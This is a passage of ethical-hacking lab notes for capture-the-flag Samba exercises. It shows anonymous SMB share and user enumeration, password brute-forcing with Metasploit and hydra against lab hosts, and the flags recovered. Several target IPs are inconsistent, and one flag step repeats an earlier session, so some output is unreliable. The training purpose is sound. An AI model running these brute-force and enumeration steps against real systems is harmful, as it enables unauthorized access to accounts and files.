rpcclient -U "" -N 192.230.128.82
rpcclient $> enumdomusers
user:[john] rid:[0x3e8]
user:[elie] rid:[0x3ea]
user:[aisha] rid:[0x3ec]
user:[shawn] rid:[0x3e9]
user:[emma] rid:[0x3eb]
user:[admin] rid:[0x3ed]

rpcclient $> lookupnames admin
admin S-1-5-21-4056189605-2085045094-1961111545-1005 (User: 1)
Reveal Flag - SID of user “admin” is: 🚩

S-1-5-21-4056189605-2085045094-1961111545-1005

Lab 5

🔬 Samba Recon: Basics 3

  • Target IP: 192.187.39.6
  • Linux SMB detailed enumeration
ip -br -c a
	eth1@if170030   UP   192.187.39.5/24
  • Target IP is 192.230.128.6
nmap 192.187.39.6
	139/tcp open  netbios-ssn
	445/tcp open  microsoft-ds
  • List all Samba server shares with various techniques/tools
nmap -p445 --script smb-enum-shares 192.187.39.6
Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\192.187.39.6\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (samba.recon.lab)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\192.187.39.6\aisha: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\aisha
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.187.39.6\emma: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\emma
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.187.39.6\everyone: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\everyone
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.187.39.6\john: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\john
|     Anonymous access: <none>
|     Current user access: <none>
|   \\192.187.39.6\public: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\public
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

📌 Available shares on the samba server are IPC$, aisha, emma, everyone, john, public.

msfconsole
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.187.39.6
exploit
[+] 192.187.39.6:139      - public - (DS) 
[+] 192.187.39.6:139      - john - (DS) 
[+] 192.187.39.6:139      - aisha - (DS) 
[+] 192.187.39.6:139      - emma - (DS) 
[+] 192.187.39.6:139      - everyone - (DS) 
[+] 192.187.39.6:139      - IPC$ - (I) IPC Service (samba.recon.lab)
[*] 192.187.39.6:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
enum4linux -S 192.187.39.6
 ========================================= 
|    Share Enumeration on 192.187.39.6    |
 ========================================= 

   Sharename       Type      Comment
   ---------       ----      -------
   public          Disk      
   john            Disk      
   aisha           Disk      
   emma            Disk      
   everyone        Disk      
   IPC$            IPC       IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.

   Server               Comment
   ---------            -------

   Workgroup            Master
   ---------            -------
   RECONLABS            SAMBA-RECON

[+] Attempting to map shares on 192.187.39.6
//192.187.39.3/public   Mapping: OK, Listing: OK
//192.187.39.3/john     Mapping: DENIED, Listing: N/A
//192.187.39.3/aisha    Mapping: DENIED, Listing: N/A
//192.187.39.3/emma     Mapping: DENIED, Listing: N/A
//192.187.39.3/everyone Mapping: DENIED, Listing: N/A
//192.187.39.3/IPC$     [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smbclient -L 192.187.39.6 -N
 Sharename       Type      Comment
 ---------       ----      -------
 public          Disk      
 john            Disk      
 aisha           Disk      
 emma            Disk      
 everyone        Disk      
 IPC$            IPC       IPC Service (samba.recon.lab)
Reconnecting with SMB1 for workgroup listing.

 Server               Comment
 ---------            -------

 Workgroup            Master
 ---------            -------
 RECONLABS            SAMBA-RECON
  • Find domain groups on the samba server
enum4linux -G 192.187.39.6
 ============================== 
|    Groups on 192.187.39.6    |
 ============================== 

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:
group:[Testing] rid:[0x3f0]

[+] Getting local group memberships:

[+] Getting domain groups:
group:[Maintainer] rid:[0x3ee]
group:[Reserved] rid:[0x3ef]

[+] Getting domain group memberships:
enum4linux complete on Tue Feb 14 22:13:33 2023
rpcclient -U "" -N 192.187.39.6
rpcclient $> enumdomgroups
group:[Maintainer] rid:[0x3ee]
group:[Reserved] rid:[0x3ef]

📌 Available domain groups are Maintainer, Reserved

  • Check if samba server is configured for printing
enum4linux -i 192.187.39.6
 ============================================= 
|    Getting printer info for 192.187.39.6    |
 ============================================= 
No printers returned.

📌 No printers returned.

smbclient //192.187.39.6/public -N
smb: \> ls
 .       D  0  Tue Feb 14 21:58:47 2023
 ..      D  0  Tue Nov 27 13:36:13 2018
 secret  D  0  Tue Nov 27 13:36:13 2018
 dev     D  0  Tue Nov 27 13:36:13 2018
# ls command

📌 There are 2 directories present inside public share: secret and dev

smb: \> cd secret
smb: \secret\> ls
  .     D   0  Tue Nov 27 13:36:13 2018
  ..    D   0  Tue Feb 14 21:58:47 2023
  flag  N  33  Tue Nov 27 13:36:13 2018
  1981084628 blocks of size 1024. 39614508 blocks available
  
smb: \secret\> get flag
getting file \secret\flag of size 33 as flag (32.2 KiloBytes/sec) (average 32.2 KiloBytes/sec)
smb: \secret\> exit

root@attackdefense:~# cat flag
Reveal Flag: 🚩

03ddb97933e716f5057a18632badb3b4

SMB: Dictionary Attack

Lab 6

🔬 Samba Recon: Dictionary Attack

  • Target IP: 192.174.58.6
  • Linux SMB detailed enumeration using word lists

Word lists are lists of already known and used passwords, some of them leaked from breached websites or other services. Those passwords can be used as part of the attack via brute force tools.

In Kali Linux wordlists can be found inside /usr/share/wordlists directory.

gzip -d /usr/share/wordlists/rockyou.txt.gz
# Unzip rockyou.txt list
ip -br -c a
	eth1@if108489   UP   192.174.58.5/24
  • Target IP is 192.174.58.6
nmap 192.174.58.6
	139/tcp open  netbios-ssn
	445/tcp open  microsoft-ds
  • Use smb_login metasploit module to bruteforce jane's password
msfconsole
use auxiliary/scanner/smb/smb_login 
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser jane
set RHOSTS 192.174.58.6
exploit
[*] 192.174.58.6:445      - 192.174.58.6:445 - Starting SMB login bruteforce
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:admin',
[!] 192.174.58.6:445      - No active DB -- Credential data will not be saved!
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:123456',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:12345',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:123456789',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:password',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:iloveyou',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:princess',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:1234567',
[-] 192.174.58.6:445      - 192.174.58.6:445 - Failed: '.\jane:12345678',
[+] 192.174.58.6:445      - 192.174.58.6:445 - Success: '.\jane:abc123'
[*] 192.174.58.6:445      - Scanned 1 of 1 hosts (100% complete)

📌 Jane's password is abc123

hydra

{% content-ref url="http://127.0.0.1:5000/s/iS3hadq7jVFgSa8k5wRA/pratical-ethical-hacker-notes/hydra" %} Hydra {% endcontent-ref %}

hydra - tool to guess/crack valid login/password pairs

  • Use hydra tool to find admin user password
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.174.58.6 smb
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399 tries per task
[DATA] attacking smb://192.174.58.6:445/
[445][smb] host: 192.174.58.6   login: admin   password: password1
1 of 1 target successfully completed, 1 valid password found

📌 admin's password is password1

  • Find smb shares using found credentials
smbmap -u admin -p password1 -H 192.174.58.6
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.174.58.6...
[+] IP: 192.174.58.6:445        Name: target-1                                          
   Disk     Permissions
   ----     -----------
   shawn    READ, WRITE
   nancy    READ ONLY
   admin    READ, WRITE
   IPC$     NO ACCESS

📌 Read-only share is nancy

smbclient -L 192.28.157.6 -U jane
# Use "abc123" password
smbclient //192.174.58.6/jane -U jane
smb: \> ls
  .      D  0  Tue Nov 27 19:25:12 2018
  ..     D  0  Tue Nov 27 19:25:12 2018
  admin  D  0  Tue Nov 27 19:25:12 2018
  logs   D  0  Tue Nov 27 19:25:12 2018
  flag   D  0  Tue Nov 27 19:25:12 2018
  1981084628 blocks of size 1024. 48016456 blocks available
smb: \> pwd
Current directory is \\192.174.58.6\jane\

📌 jane's share is not browsable but it exists.

smbclient //192.174.58.6/admin -U admin
# Use "password1" password
smb: \> ls
smb: \> cd hidden
smb: \hidden\> ls
smb: \hidden\> get flag.tar.gz 
smb: \hidden\> exit

root@attackdefense:~# tar -xf flag.tar.gz 
root@attackdefense:~# cat flag
smb: \> cd secret
smb: \secret\> ls
  .     D   0  Tue Nov 27 13:36:13 2018
  ..    D   0  Tue Feb 14 21:58:47 2023
  flag  N  33  Tue Nov 27 13:36:13 2018
  1981084628 blocks of size 1024. 39614508 blocks available
  
smb: \secret\> get flag
getting file \secret\flag of size 33 as flag (32.2 KiloBytes/sec) (average 32.2 KiloBytes/sec)
smb: \secret\> exit

root@attackdefense:~# cat flag
Reveal Flag: 🚩

2727069bc058053bd561ce372721c92e

  • A named pipe is a logical connection between a client and server involved in a SMB connection, similar to an open TCP port.
  • Use pipe_auditor metasploit module to enumerate the named pipes
msfconsole
use auxiliary/scanner/smb/pipe_auditor 
set SMBUser admin
set SMBPass password1
set RHOSTS 192.174.58.6
exploit
[+] 192.174.58.6:139 - Pipes: \netlogon, \lsarpc, \samr, \eventlog, \InitShutdown, \ntsvcs, \srvsvc, \wkssvc
[*] 192.174.58.6: - Scanned 1 of 1 hosts (100% complete)

📌 Named pipes available over SMB are netlogon, lsarpc, samr, eventlog, InitShutdown, ntsvcs, srvsvc, wkssvc

  • List users' SID by performing RID cycling.
enum4linux -r -u "admin" -p "password1" 192.174.58.6
[+] Enumerating users using SID S-1-22-1 and logon username 'admin', password 'password1'
S-1-22-1-1000 Unix User\shawn (Local User)
S-1-22-1-1001 Unix User\jane (Local User)
S-1-22-1-1002 Unix User\nancy (Local User)
S-1-22-1-1003 Unix User\admin (Local User)

📌 shawn SID is S-1-22-1-1000

📌 jane SID is S-1-22-1-1001

📌 nancy SID is S-1-22-1-1002

📌 admin SID is S-1-22-1-1003